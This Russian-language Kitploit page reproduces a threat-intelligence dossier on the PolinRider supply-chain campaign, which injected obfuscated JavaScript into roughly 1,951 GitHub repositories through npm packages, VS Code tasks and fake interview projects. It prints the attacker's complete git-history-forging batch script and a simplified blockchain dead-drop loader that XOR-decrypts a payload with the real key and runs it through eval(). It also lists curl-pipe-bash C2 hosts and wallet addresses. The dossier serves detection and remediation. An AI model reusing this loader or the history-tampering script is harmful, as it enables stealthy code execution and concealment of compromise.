Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PolinRider — Техническое досье на атаку на цепочку поставок PolinRider, связанную с КНДР, с описанием внедрения обфусцированного JS-пейлоада, манипуляций с историей git, инфраструктуры C2 и рекомендаций по устранению последствий для 1 951 скомпрометированного репозитория. | Kitploit
Инструменты/GitHubGitHub/opensourcemalware/polinrider
Управление индикаторами компрометации (IOC)OSINT (Разведка открытых источников)Анализ уязвимостейАнализ КодаФорензикаАнализ вредоносных программРазведка угрозБезопасность Цепочки ПоставокОбучение и Образование

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Реагирование на Инциденты
Подобранные Ресурсы
GitHubopensourcemalware/polinrider

PolinRider

Техническое досье на атаку на цепочку поставок PolinRider, связанную с КНДР, с описанием внедрения обфусцированного JS-пейлоада, манипуляций с историей git, инфраструктуры C2 и рекомендаций по устранению последствий для 1 951 скомпрометированного репозитория.

Репозиторий
78832 месяцев назадПроверено Kitploit
Поделиться

PolinRider: DPRK Threat Actor Implants Malware in Hundreds of GitHub Repos

PolinRider Threat Campaign

  • Date: 2026-03-07
  • Last updated: 2026-04-11 — см. April 10–11 Update ниже
  • Severity: CRITICAL — активная цепочка заражения поставщиков, затронувшая 1,950+ публичных репозиториев, подтверждено операционное слияние с кластером TasksJacker / Contagious Interview

Команда OpenSourceMalware обнаружила масштабную угрозу, которая внедряет вредоносное ПО в репозитории пользователей и организаций GitHub. Злоумышленник PolinRider внедрил вредоносные обфусцированные JavaScript-нагрузки в сотни публичных репозиториев GitHub, принадлежащих сотням уникальных владельцев. Используйте тег #polinrider, чтобы увидеть все отчеты об угрозах, связанные с этой кампанией, и перейдите в конец этой статьи для списка скомпрометированных репозиториев, включая те, которые мы рекомендуем приоритетно обработать. Имейте в виду, что тег — лучший способ получить актуальные данные.

JavaScript-нагрузка добавляется в конец реальных конфигурационных файлов проектов — незаметно, после легитимного содержимого файла — что легко пропустить при обычном обзоре кода. Основным вектором заражения, по-видимому, является скомпрометированный npm-пакет, который выполняется во время установки или сборки и внедряется в конфигурационные файлы в корне проекта. Что еще хуже, этот злоумышленник использовал ту же технику для создания вредоносных NPM-пакетов.

Эта атака оказалась чрезвычайно успешной: один скомпрометированный проект с открытым исходным кодом, Neutralinojs, распространил вредоносное ПО на сотни своих пользователей и участников. Neutralinojs — очень популярный проект с 8400 звездами, 495 форками и десятками активных участников. В этом и заключается сила такого типа атак: угроза не ограничивается только первоначальными репозиториями GitHub, но распространяется на все остальные проекты, использующие этот открытый исходный код.

Команда OpenSourceMalware приписала эту кампанию КНДР, а злоумышленник PolinRider — известный участник группировки Lazarus, связанный с кампаниями "Contagious Interview" и "TasksJacker".

Статистика воздействия

Эта кампания значительно выросла с момента первой публикации. По состоянию на 2026-04-11 команда OSM подтвердила 1,951 публичный репозиторий GitHub, принадлежащий 1,047 уникальным владельцам, скомпрометированным. Это увеличение в 2,9 раза за пять недель с даты первой публикации (8 марта: 675 репозиториев / 352 владельца).

Метрика8 марта (начально)11 апреля (последнее)Δ
Уникальных зараженных репозиториев6751,951+1,276
Уникальных затронутых владельцев3521,047+695
— Отдельные пользователи305~930+625
— Организации47~117+70
Наблюдаемые различные варианты обфускатора1 (rmcej%otb%)2 (rmcej%otb% + Cot%3t=shtP)+1
Подтвержденные различные векторы внедрения1 (конфигурационный файл)4 (конфигурационный файл, .vscode/tasks.json, фальшивый шрифт .woff2, вредоносная зависимость npm)+3
Задокументированные различные поддомены C21 (260120.vercel.app)6+ (см. C2 Infrastructure)+5
Известные вооруженные шаблоны для тестовых заданий02+ (ShoeVista, StakingGame)+2

GitHub Repos Compromised


April 10–11 Update

В ходе повторного поиска, начатого 2026-04-10 и продолженного 2026-04-11, команда OSM сделала несколько важных находок:

  1. Кампания более чем удвоилась за 5 недель. Междвижковое перечисление через GitHub Code Search и Sourcegraph (с уточнением за пределами ограничения API в 1000 результатов — см. методологию ниже) обнаружило 1,556 уникальных скомпрометированных репозиториев в нашем v3-мастере в первый день. Второй раунд поиска на второй день добавил еще 215 новых репозиториев через повороты по именам npm-пакетов, повороты по VS Code tasks.json/облачным провайдерам и вновь обнаруженный поддомен C2 default-configuration.vercel.app. После дедупликации с существующим корпусом affected_repos.csv истинный известный масштаб теперь составляет 1,951 уникальный репозиторий жертв / 1,047 уникальных владельцев.

  2. Обнаружен новый вариант. PolinRider изменил все уникальные отпечатки своего обфускатора, сохранив архитектуру. Новый вариант использует сигнатурный маркер Cot%3t=shtP (был rmcej%otb%), начальное значение перемешивания 1111436 (было 2857687), вторичное начальное значение 3896884 (было 2667686) и имя функции декодера MDy (было _$_1e42). Эта смена, по-видимому, является ответной реакцией уклонения на опубликованное правило YARA rmcej_otb_payload. Оба варианта в настоящее время активны в дикой природе. См. New Variant: Cot%3t=shtP ниже.

  3. Злоумышленник повторно заражает предыдущие жертвы. По крайней мере один репозиторий-жертва (HassanHabibTahir/testclient) содержит маркеры ОБОИХ вариантов в разных файлах, что указывает на то, что инструментарий злоумышленника перезапускает атаку на ранее скомпрометированные хосты и внедряет новый обфускатор.

  4. PolinRider и TasksJacker операционно слились. Теперь у нас есть прямые доказательства того, что один и тот же злоумышленник использует как внедрение в конфигурационные файлы, так и вектор заражения через .vscode/tasks.json curl | bash против той же популяции жертв. У 22 из 101 жертвы скрипта распространения temp_auto_push.bat также есть вредоносные файлы .vscode/tasks.json, и были идентифицированы несколько вооруженных шаблонных проектов для тестовых заданий/поддельных собеседований — см. Weaponized Take-Home Templates ниже. OSM объединяет два кластера под обозначением #polinrider в будущем.

  5. Идентифицированы два вооруженных проекта тестовых заданий: ShoeVista (поддельная оценка Tailwind e-commerce, поставляемая с вредоносным tailwindcss-style-animate ^1.1.6 в client/package.json) и StakingGame (поддельный проект блокчейна/автоматизации VS Code, идентифицированный по UUID e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9 в tasks.json). По меньшей мере 46 + 42 разработчика попытались выполнить эти тесты и были скомпрометированы. Часть сценария приманки Contagious Interview.

  6. Обнаружено пять новых поддоменов C2, используемых в нагрузках .vscode/tasks.json вида curl | bash, все размещены на Vercel:

    • default-configuration.vercel.app (наиболее используемый, ~106 ссылок на жертв)
    • vscode-settings-bootstrap.vercel.app
    • vscode-settings-config.vercel.app
    • vscode-bootstrapper.vercel.app
    • vscode-load-config.vercel.app

    Все следуют шаблону https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N>. Добавлены в раздел C2 Infrastructure.

  7. OSM отправил 821 новый отчет об угрозе за эти два дня поисков, доведя общее количество записей PolinRider в OSM до ~1,700. Разбивка по вариантам для 821 отправки: 591 исходный вариант (rmcej%otb%), 113 только распространение (temp_auto_push.bat), 45 malicious_npm (кластер ShoeVista/devhire), 27 tasksjacker, 1 новый вариант (Cot%3t=shtP), 44 прочие.

  8. Определены новые высокодоходные поисковые точки опоры, которые находят жертв даже после очистки JS-нагрузки. Самые сильные: filename:temp_auto_push.bat (101 подтвержденный вредоносный результат, 100% истинно-положительная ставка) и "default-configuration.vercel.app" (106 попаданий). Выборочная частота ложных срабатываний по 44 случайным проверкам составила 0%. См. Refinement Methodology ниже.

  9. Подтвержден новый вектор внедрения: по крайней мере одна жертва (AgbaD/odoo) имеет обфусцированную JS-нагрузку, скрытую в файле шрифта .woff2 (public/fonts/fa-solid-400.woff2), который выполняется через Node — подтверждая, что кампания использует несколько векторов внедрения против одной и той же цели.

  10. Третий вариант обфускатора не найден. Исчерпывающее исследование маркеров global['?'], комбинаций начальных значений, структурных шаблонов, литералов IOC и последовательных тегов '8-stN' 1–200 (через Sourcegraph regex) не выявило доказательств существования третьего варианта, помимо двух уже задокументированных. Пакет нового варианта злоумышленника ограничен тегами 8-st1..8-st59 (21 последовательный номер отсутствует в индексе Sourcegraph).

Полные отчеты поиска v3 + раунда 2 и мастер TSV находятся в reports/.


GitHub Attack Details

Злоумышленник не использует украденные учетные данные GitHub. Вместо этого жертвы были скомпрометированы через вредоносное расширение VS Code или NPM-пакет. Мы пока не знаем, что это за первоначальный вектор, но из криминалистических данных знаем, что он делает.

Первое, что происходит — вредоносное ПО выполняет функцию поиска на локальном компьютере, которая ищет определенные файлы, например:

  • postcss.config.mjs
  • tailwind.config.js
  • eslint.config.mjs
  • next.config.mjs
  • babel.config.js
  • App.js
  • app.js

Если находит один из этих файлов, оно добавляет сильно обфусцированный вредоносный JavaScript-код в конец этого файла. Затем вредоносное ПО устанавливает пакетный файл Windows с именем temp_auto_push.bat. Мы знаем, что этот файл существует и что он делает, потому что злоумышленники оставили его на сотнях скомпрометированных серверов, что дает исследователям отпечаток для поиска. Вот этот пакетный файл целиком:``` @echo off for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%Y-%%m-%%d --format=%%cd"') do set LAST_COMMIT_DATE=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%H:%%M:%%S --format=%%cd"') do set LAST_COMMIT_TIME=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%s"') do set LAST_COMMIT_TEXT=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%an"') do set USER_NAME=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%ae"') do set USER_EMAIL=%%A for /f "delims=" %%A in ('git rev-parse --abbrev-ref HEAD') do set CURRENT_BRANCH=%%A echo %LAST_COMMIT_DATE% %LAST_COMMIT_TIME% echo %LAST_COMMIT_TEXT% echo %USER_NAME% (%USER_EMAIL%) echo Branch: %CURRENT_BRANCH% set CURRENT_DATE=%date% set CURRENT_TIME=%time% date %LAST_COMMIT_DATE% time %LAST_COMMIT_TIME% echo Date temporarily changed to %LAST_COMMIT_DATE% %LAST_COMMIT_TIME% git config --local user.name %USER_NAME% git config --local user.email %USER_EMAIL% git add . git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify date %CURRENT_DATE% time %CURRENT_TIME% echo Date restored to %CURRENT_DATE% %CURRENT_TIME% and complete amend last commit! git push -uf origin %CURRENT_BRANCH% --no-verify @echo on

root@kitploit:~
### Анализ пакетного файла

Этот пакетный файл **перезаписывает последний git-коммит, сохраняя его исходную временную метку** — по сути, делая исправленный коммит похожим на нетронутый.

#### Этап 1: Извлечение метаданных последнего коммита

Он запускает `git log -1` пять раз, чтобы извлечь данные последнего коммита в переменные среды:

| Переменная | Значение |
|---|---|
| `LAST_COMMIT_DATE` | Дата последнего коммита (ГГГГ-ММ-ДД) |
| `LAST_COMMIT_TIME` | Время последнего коммита (ЧЧ:ММ:СС) |
| `LAST_COMMIT_TEXT` | Сообщение коммита |
| `USER_NAME` | Имя автора |
| `USER_EMAIL` | Email автора |
| `CURRENT_BRANCH` | Имя текущей ветки |

#### Этап 2: Отображение извлеченной информации

Выводит эти значения в консоль, чтобы вы могли увидеть, что было захвачено перед продолжением.

#### Этап 3: Трюк с временной меткой (основная манипуляция)

1. Сохраняет *текущую* системную дату и время в переменные
2. **Изменяет системные часы Windows**, чтобы они соответствовали дате и времени последнего коммита
3. Устанавливает локальные git `user.name` и `user.email` в соответствии с автором исходного коммита

#### Этап 4: Исправление коммита```bat
git add .
git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify

Поскольку системные часы были переведены назад, git записывает изменённый коммит с исходной меткой времени, что делает его похожим на неизменённый в истории. --no-verify обходит любые хуки перед коммитом.

Фаза 5: Восстановление и отправка

  1. Восстанавливает системные часы до реальной текущей даты/времени
  2. Выполняет принудительную отправку в удалённую ветку с -uf и --no-verify для обхода хуков отправки

Простыми словами

Этот скрипт позволяет незаметно изменить последний коммит (добавить или изменить файлы), при этом перезаписанный коммит будет выглядеть так, будто у него тот же автор, метка времени и сообщение, что и раньше. Для любого наблюдателя, изучающего историю git, будет казаться, что коммит никогда не изменялся.

Примечательные особенности

  • Требует повышенных привилегий для изменения системных часов Windows
  • Принудительная отправка (-uf) перезапишет удалённую историю — разрушительно для всех остальных в ветке
  • Оба флага --no-verify намеренно обходят любые хуки CI/CD или проверки линтера
  • По сути, это инструмент для фальсификации истории — полезен для легитимной очистки, но также полезен для заметания следов

А как насчёт Linux и MacOS?

Мы предполагаем, что вредоносное ПО имеет аналогичные функции для перезаписи истории git в других операционных системах, таких как Linux и MacOS. На самом деле, мы видели доказательства того, что это происходит и на других ОС, но злоумышленники не оставили в исходном коде инструментов, работающих на этих других платформах, как они это сделали для Windows.


Рекомендуемые действия

Для владельцев затронутых репозиториев:

  1. Проверьте все JS-файлы конфигурации (postcss.config.*, tailwind.config.*, eslint.config.*, next.config.*, vite.config.*, webpack.config.js, gridsome.config.js, vue.config.js и т.д.) на наличие содержимого после export default или module.exports. Также проверьте нестандартные ветки и вложенные пути монорепозитория (apps/*/, frontend/, client/, web/ и т.д.) — многие жертвы заражены только в глубоких путях.
  2. Ищите артефакт скрипта распространения temp_auto_push.bat в корне репозитория и любой config.bat, на который есть ссылка в .gitignore. Даже если обфусцированная полезная нагрузка JS была удалена, этот файл является прямым доказательством прошлой компрометации и должен вызвать ротацию учётных данных.
  3. Проверьте бинарные ресурсы в public/, static/, assets/ на наличие неожиданных файлов .woff / .woff2 — было замечено, что вредоносное ПО прячет полезные нагрузки внутри поддельных файлов шрифтов (подвариант «fake-font»).
  4. Проверьте зависимости package.json — особенно недавно добавленные или обновлённые пакеты, связанные с PostCSS/Tailwind, такие как tailwind-mainanimation, tailwind-autoanimation и другие пакеты npm, перечисленные ниже.
  5. Проверьте node_modules на наличие скриптов postinstall: grep -r "postinstall" node_modules/*/package.json
  6. Проведите ротацию всех секретов, токенов или учётных данных, которые могли присутствовать в среде во время сборки.
  7. Выполните принудительную отправку чистых файлов конфигурации и рассмотрите возможность подписывания коммитов в будущем.
  8. Не считайте, что ранее очищенный репозиторий остаётся чистым — команда OSM наблюдала как минимум одну жертву, которая была повторно заражена изменённым вариантом Cot%3t=shtP после предыдущей очистки варианта rmcej%otb%. Периодически проводите повторное сканирование.

Для инструментов безопасности / реестров:

  • Добавьте мновариантное YARA-правило polinrider_payload (ниже) в пайплайны статического анализа — охватывает оба варианта rmcej%otb% и Cot%3t=shtP.
  • Помечайте пакеты со скриптами postinstall, которые записывают данные в корневые файлы конфигурации проекта.
  • Сопоставьте владельцев затронутых репозиториев с недавно опубликованными пакетами npm, особенно из экосистемы Tailwind / PostCSS.
  • Добавьте filename:temp_auto_push.bat и LAST_COMMIT_DATE LAST_COMMIT_TIME extension:bat в качестве запросов непрерывного мониторинга в GitHub Code Search.

Проверка на PolinRider с помощью скрипта OSM

Наша команда написала bash-скрипт, который проверит вашу локальную систему на наличие компрометации. В конце этого сообщения в блоге вы можете узнать больше, или вы можете посмотреть скрипт здесь


Заражённые типы файлов

Обновление от 10 апреля значительно расширило список типов файлов. Вредоносное ПО нацелено на более широкий набор файлов семейства JS, чем было задокументировано изначально, и было замечено внутри бинарных ресурсов, таких как файлы шрифтов .woff2. Приведённые ниже подсчёты отражают корпус из 1 736 уникальных репозиториев от 2026-04-10.

ФайлВхождений (8 марта)Вхождений (10 апреля)
postcss.config.mjs416~960
tailwind.config.js84~210
eslint.config.mjs60~150
postcss.config.js13~40
App.js13~30
next.config.mjs12~30
index.js6~25
astro.config.mjs6~15
tailwind.config.mjs5~12
vite.config.js / vite.config.mjs—~20
webpack.config.js—~15
gridsome.config.js—~5
vue.config.js—~10
truffle.js—~5
temp_auto_push.bat (артефакт скрипта распространения)—101
.woff2 файлы шрифтов (подвариант fake-font)—наблюдаются

Доминирование postcss.config.mjs (~62% репозиториев в обоих наборах данных) продолжает указывать на экосистему PostCSS / Tailwind как на основной вектор заражения. Недавно замеченные записи — vite.config.*, webpack.config.js, gridsome.config.js, vue.config.js, truffle.js и бинарные файлы .woff2 — показывают, что вредоносное ПО расширило свои эвристики выбора файлов или что злоумышленник использует несколько npm-пакетов для достижения жертв, использующих различные инструменты сборки.

Артефакт скрипта распространения temp_auto_push.bat был найден в 101 репозитории жертв, даже в тех случаях, когда полезная нагрузка JS была уже удалена владельцем. Этот файл является одним из индикаторов прошлой компрометации с самой высокой достоверностью.


Вредоносные пакеты NPM

tailwind-mainanimation NPM Package

Злоумышленник опубликовал несколько вредоносных пакетов NPM, все они маскируются под утилиты, смежные с Tailwind / PostCSS. По состоянию на 2026-04-11, учётные записи npm allavin и blackedward были удалены из npm, а их пакеты очищены, но существующие репозитории жертв всё ещё содержат ссылки на зависимости и (во многих случаях) всё ещё имеют внедрённое после установки вредоносное ПО в своих файлах конфигурации.

ПакетПоследняя версияСтатусИздательНаблюдаемое количество жертв (11 апреля)
tailwindcss-style-animate1.1.6наблюдается(учётная запись удалена)34 ← основная зависимость ShoeVista
tailwind-mainanimation2.3.3 → 0.0.1-securityСНЯТ npm (заменён на заглушку безопасности 2026-03-13)allavin (учётная запись удалена)1
tailwind-autoanimation2.3.6УДАЛЁН из реестраblackedward (учётная запись удалена)2
tailwind-animationbased—наблюдается(учётная запись удалена)0
tailwindcss-typography-style0.8.2наблюдается(учётная запись удалена)6
tailwindcss-style-modify0.8.3наблюдается(учётная запись удалена)4
tailwindcss-animate-style1.2.5наблюдается(учётная запись удалена)0

Охота от 11 апреля подтвердила, что tailwindcss-style-animate ^1.1.6 является основной вредоносной зависимостью поддельного шаблона для собеседования ShoeVista — 34 из 46 попаданий при анализе npm-пакетов являются повторными загрузками разработчиками этого шаблона с этой точной зависимостью. Другие пакеты в списке используются дочерними кампаниями (например, tailwind-autoanimation в кластере devhire-frontend и reactapp-6).

Исследователи, желающие провести разведку через дерево зависимостей npm, должны учесть, что этот метод больше не работает для tailwind-mainanimation — npm удалила активную вредоносную версию. Вместо этого используйте запросы "<package_name>" filename:package.json в GitHub Code Search, которые всё ещё возвращают призрачные ссылки в репозиториях жертв.

NPM Packages

Пакет tailwind-autoanimation использует ту же самую технику добавления вредоносной полезной нагрузки JavaScript в конец файла точки входа src/index.js:

NPM Payload


Сводка о вредоносном ПО

PolinRider доставляет многокомпонентную полезную нагрузку, которая приводит к новой версии вредоносного ПО Beavertail из КНДР. Начальная полезная нагрузка представляет собой бэкдор/инфостилер массовой компрометации, который внедряет обфусцированную полезную нагрузку JavaScript в репозитории легитимных разработчиков. Полезная нагрузка добавляется после отступа из пробелов в распространённые файлы конфигурации (postcss.config.mjs, eslint.config.mjs, tailwind.config.js и т.д.), так что она автоматически выполняется, когда инструменты сборки импортируют модуль. Он использует многоуровневую процедуру деобфускации с перетасовкой строк, в конечном итоге создавая и выполняя через eval() конечную полезную нагрузку во время выполнения.

Команда OSM на данный момент наблюдала два активных варианта этого обфускатора с изменёнными уникальными отпечатками:

  • Оригинальный вариант (публикация от 8 марта): сигнатура ("rmcej%otb%",2857687), функция декодера _$_1e42, вторичный seed 2667686, маркер внедрения global['!'].
  • Новый вариант (обновление от 10 апреля): сигнатура Cot%3t=shtP, seed перемешивания 1111436, функция декодера MDy, вторичный seed 3896884, маркер внедрения global['_V']='8-XXX'. Та же архитектура, все уникальные константы изменены — почти наверняка ответ на опубликованное YARA-правило rmcej_otb_payload.

Оба варианта используют одну и ту же инфраструктуру C2 «мёртвых ящиков» на блокчейне (TRON / Aptos / BSC) с теми же ключами XOR, и оба в настоящее время активны в дикой природе.

Эта конечная полезная нагрузка представляет собой сложный резолвер мёртвых ящиков на основе блокчейна, который использует неизменяемые транзакции блокчейна в качестве инфраструктуры командования и управления (C2). Вредоносное ПО извлекает зашифрованные полезные нагрузки JavaScript из учётных записей блокчейна (TRON, Aptos и BSC), расшифровывает их с помощью XOR-шифрования и выполняет через eval(). Этот метод делает инфраструктуру C2 практически невозможно уничтожить, поскольку данные блокчейна неизменяемы.


Что оно делает?

Основная функциональность

  1. Общение по C2 на основе блокчейна

    • Запрашивает данные транзакций из учётных записей блокчейна TRON
    • Использует блокчейн Aptos в качестве запасного варианта, если TRON недоступен
    • Может запрашивать транзакции Binance Smart Chain (BSC)
    • Извлекает зашифрованные полезные нагрузки JavaScript из транзакций блокчейна
  2. Расшифровка полезной нагрузки

    • Использует шифр XOR с жёстко заданными ключами для расшифровки полезных нагрузок
    • Два разных ключа XOR для разных этапов/запасных вариантов
  3. Удалённое выполнение кода

    • Выполняет расшифрованный код через eval()
    • Порождает отсоединённые дочерние процессы для сохранения активности
    • Выполнение кода происходит без взаимодействия с пользователем
  4. Функции противодействия анализу

    • Несколько слоёв обфускации (4+ слоя)
    • Шифрование строк и замена символов
    • Техника мёртвого ящика (сложно атрибутировать)
    • Выполнение в отсоединённом процессе (переживает завершение родительского процесса)

Технический анализ вредоносного ПО

Команда OSM описала полную цепочку атак для этого вредоносного ПО в нашем блоге о недавней компрометации Neutralinojs.

Слои обфускации

Вредоносное ПО использует четыре слоя обфускации:

Слой 1: Алгоритм замены символов с seed 2857687

  • Деобфусцируется в массив: ['r', 'object', 'm'] (require, проверка typeof, module)

Слой 2: Замена символов с seed 2667686

  • Деобфусцирует имена функций и строковые константы
  • Раскрывает код функции декодера

Слой 3: Пользовательский шифр подстановки

  • Сопоставление символов с использованием специальных кодов
  • Заменяет плейсхолдеры, такие как .c, .a и т.д., на реальные символы
  • Коды символов: \, `, пробел, новая строка, *, ' и другие

Слой 4: XOR-шифрование для конечных полезных нагрузок

  • Полезные нагрузки, полученные из блокчейна, зашифрованы XOR
  • Два жёстко заданных ключа для разных этапов

Новый вариант: Cot%3t=shtP

В апреле 2026 года команда OSM идентифицировала второй активный вариант обфускатора PolinRider. Архитектура идентична оригиналу — те же 4-слойные перемешивание и шифр, тот же C2-мёртвый ящик на блокчейне, та же многоступенчатая нагрузка Beavertail второй стадии — но все уникальные строки отпечатков были изменены, почти наверняка в ответ на опубликованное YARA-правило rmcej_otb_payload.

АтрибутОригинальный вариантНовый вариант
Маркер сигнатурыrmcej%otb%Cot%3t=shtP
Seed перемешивания (слой 1)28576871111436
Вторичный seed (слой 2)26676863896884
Имя функции декодера_$_1e42MDy
Внедрённые глобалыglobal['!'], global['r'], global['m']global['_V'], global['r'], global['m']
Целевые типы файловpostcss.config.mjs, tailwind.config.js, eslint.config.mjs и т.д.(тот же)
Стиль внедренияДобавляется после легитимного export default / тела модуля(тот же)
C2 на блокчейнеTRON / Aptos / BSC(те же — адреса не изменены)
Ключи XORбез измененийбез изменений

Новый вариант использует дополнительную строку маркера внедрения: global['_V']='8-XXX' (где 8-XXX — это тег версии для каждого внедрения, например, 8-st1, 8-st2, …, 8-st59, а также параллельный числовой пакет, такой как 8-413, 8-683, 8-778, 8-974). Последовательные теги '8-stN' являются самым сильным доказательством команды OSM того, что инструментарий злоумышленника присваивает числовой идентификатор каждой жертве и что существует как минимум 59 последовательных внедрений этого варианта (некоторые ещё не проиндексированы публичным поиском кода).

Примечательная находка между вариантами

Как минимум один репозиторий — HassanHabibTahir/testclient — содержит маркеры ОБОИХ вариантов в разных файлах (rmcej%otb% в postcss.config.mjs и global['_V'] в другом файле), что указывает на то, что инструментарий злоумышленника повторно запускается против ранее скомпрометированных хостов с изменённым обфускатором. Защитникам не следует предполагать, что однажды очищенный репозиторий остаётся чистым.

Вооружённые домашние шаблоны

В дополнение к векторам доставки через npm-пакеты и .vscode/tasks.json, злоумышленник PolinRider создал как минимум два поддельных домашних тестовых проекта, распространяемых среди кандидатов через фальшивые предложения о работе на собеседовании (классическая тактика Contagious Interview). Эти шаблоны проектов поставляются с предварительно загруженными вредоносными зависимостями или полезными нагрузками tasks.json, так что простое клонирование и запуск проекта запускает заражение.

ShoeVista (шаблон интернет-магазина на Tailwind)

  • Название шаблона: ShoeVista (также известен как shoevista, shoe-vista, Test-west-shoe, Test-002, product-catalog, mern-app, различные форки с именами кандидатов)
  • Стек: фронтенд React в client/, бэкенд Node/Express в server/ (типичный MERN домашний проект)
  • Вектор доставки: Вредоносная зависимость npm "tailwindcss-style-animate": "^1.1.6" в client/package.json
  • Поле name в package.json: "client" (общее — брендинг ShoeVista находится в README / на странице приземления поддельной компании)
  • Наблюдаемые репозитории жертв: 34+ индивидуальных повторных загрузок разработчиков, все созданы в феврале–марте 2026 года, все с 0 звёзд / 0 форков (свежие одноразовые аккаунты). Примеры: alaminrifat/shoevista-rifat, Atik203/ShoeVista, DaviBarros/shoevista, IchaCoder/test-shoe, Anas-Ali-3673/Test-west-shoe, naime7132/client-2 (вариант devhire)
  • Схема именования: кандидаты часто называют репозиторий в соответствии с запросом поддельной компании (ShoeVista, shoevista-rifat, HedaetShahriar/ShoeVista-Test) или по названию платформы для собеседований (Test-002, test-shoe, test_upwork, test_west_shoe)

StakingGame (шаблон автоматизации VS Code + блокчейн)

  • Отпечаток шаблона: файл tasks.json содержит "projectInfo": { "name": "StakingGame", "description": "Advanced VSCode automation for multi-environment blockchain deployment.", "uuid": "e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" } — UUID постоянен для всех жертв и является самым сильным индикатором этого шаблона
  • Вектор доставки: Вооружённый .vscode/tasks.json с runOn: folderOpen, выполняющий curl | bash на default-configuration.vercel.app и другие недавно обнаруженные поддомены C2 на Vercel
  • Наблюдаемые репозитории жертв: 42+ прямых совпадений UUID плюс более широкое использование tasks.json. Примеры: Devba/lmng-top-, wyrustaaruz/cal-eco-platform
  • Тема: позиционируется как оценка разработчика блокчейна / игры на стейкинг; привлекает кандидатов из Web3

Последствия

Существование предварительно вооружённых шаблонных проектов означает:

  • Разработчики, выполняющие «домашние тесты» от непроверенных рекрутеров, являются основным вектором заражения. Это не просто атака на цепочку поставок npm; это атака методом социальной инженерии на рынок труда.
  • Учётные записи жертв — это не ранее скомпрометированные разработчики. Это свежие аккаунты кандидатов, созданные специально для прохождения теста. Это объясняет большое количество репозиториев жертв с 0 звёзд / 0 форков и возрастом аккаунта менее 1 года.
  • Защитники, охотящиеся за жертвами, должны включить шаблоны именования кандидатов (test-*, *-test, *-interview, *-assessment, *-task) в свои эвристики поиска.

Поток выполнения```

  1. Malware loads when NPM package is imported or the source code is run by Node
  2. Deobfuscates internal strings and function names
  3. Queries TRON blockchain account for latest transaction ├─ URL: https://api.trongrid.io/v1/accounts/TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP/transactions └─ Extracts transaction data containing encrypted payload
  4. If TRON fails, queries Aptos blockchain ├─ URL: https://fullnode.mainnet.aptoslabs.com/v1/accounts/0xbe037.../transactions └─ Extracts payload from transaction arguments
  5. XOR-decrypts the payload using key "2[gWfGj;<:-93Z^C"
  6. Executes decrypted code via eval()
  7. Spawns detached child process for persistence ├─ Command: node -e "" └─ Detached: true, windowsHide: true
  8. If first set fails, repeats with secondary addresses and key
root@kitploit:~
### Структура кода```javascript
// Simplified structure (actual code is heavily obfuscated)

async function fetchPayloadFromTron(address) {
    // Queries TRON API for account transactions
    const response = await https.get(
        `https://api.trongrid.io/v1/accounts/${address}/transactions?only_confirmed=true&only_from=true&limit=1`
    );
    // Extracts encrypted data from transaction
    return response.data[0].raw_data.data;
}

async function fetchPayloadFromAptos(txHash) {
    // Queries Aptos API for transaction details
    const response = await https.get(
        `https://fullnode.mainnet.aptoslabs.com/v1/accounts/${txHash}/transactions?limit=1`
    );
    // Extracts payload from transaction arguments
    return response[0].payload.arguments[0];
}

function xorDecrypt(encryptedData, key) {
    // XOR decryption with repeating key
    let result = '';
    for (let i = 0; i < encryptedData.length; i++) {
        const keyChar = key.charCodeAt(i % key.length);
        result += String.fromCharCode(encryptedData.charCodeAt(i) ^ keyChar);
    }
    return result;
}

// Main execution
const encryptedPayload = await fetchPayloadFromTron("TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP");
const decryptedCode = xorDecrypt(encryptedPayload, "2[gWfGj;<:-93Z^C");
eval(decryptedCode);  // EXECUTES ARBITRARY CODE

// Persistence via detached child process
require('child_process').spawn('node', ['-e', `global['_V']='...'${decryptedCode}`], {
    detached: true,
    stdio: 'ignore',
    windowsHide: true
});

C2-инфраструктура (Индикаторы компрометации)

HTTP C2-эндпоинты, размещенные на Vercel (вектор на стороне TasksJacker)

Используется в полезных нагрузках .vscode/tasks.json curl | bash с runOn: folderOpen. Все следуют шаблону URL https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N>. Это серверы начальной загрузки, контролируемые атакующим, которые доставляют JS-загрузчик PolinRider жертвам VS Code.

ПоддоменКоличество (11 апр)Первое обнаружениеПримечания
260120.vercel.app56до 8 марИсходный запрос OSM Q11; также опубликовано в первом блоге
default-configuration.vercel.app106апр 2026Крупнейший кластер из одного поддомена, найденный на данный момент
vscode-settings-bootstrap.vercel.app16апр 2026
vscode-settings-config.vercel.app11апр 2026
vscode-bootstrapper.vercel.app6апр 2026
vscode-load-config.vercel.app6апр 2026

Все пять доменов vscode-* / default-configuration были обнаружены в ходе охоты 10–11 апреля и теперь являются частью набора запросов OSM. Ожидайте появления большего количества родственных поддоменов, поскольку домены Vercel дешевы и расходны для угрозы.

Адреса блокчейна (тайник второй стадии PolinRider-JS-loader)

Адреса TRON (Основной C2)

  • TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP (Основной)
  • TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG (Вторичный)

API Endpoint: https://api.trongrid.io/v1/accounts/

Хэши транзакций Aptos (Резервный C2)

  • 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e (Основной)
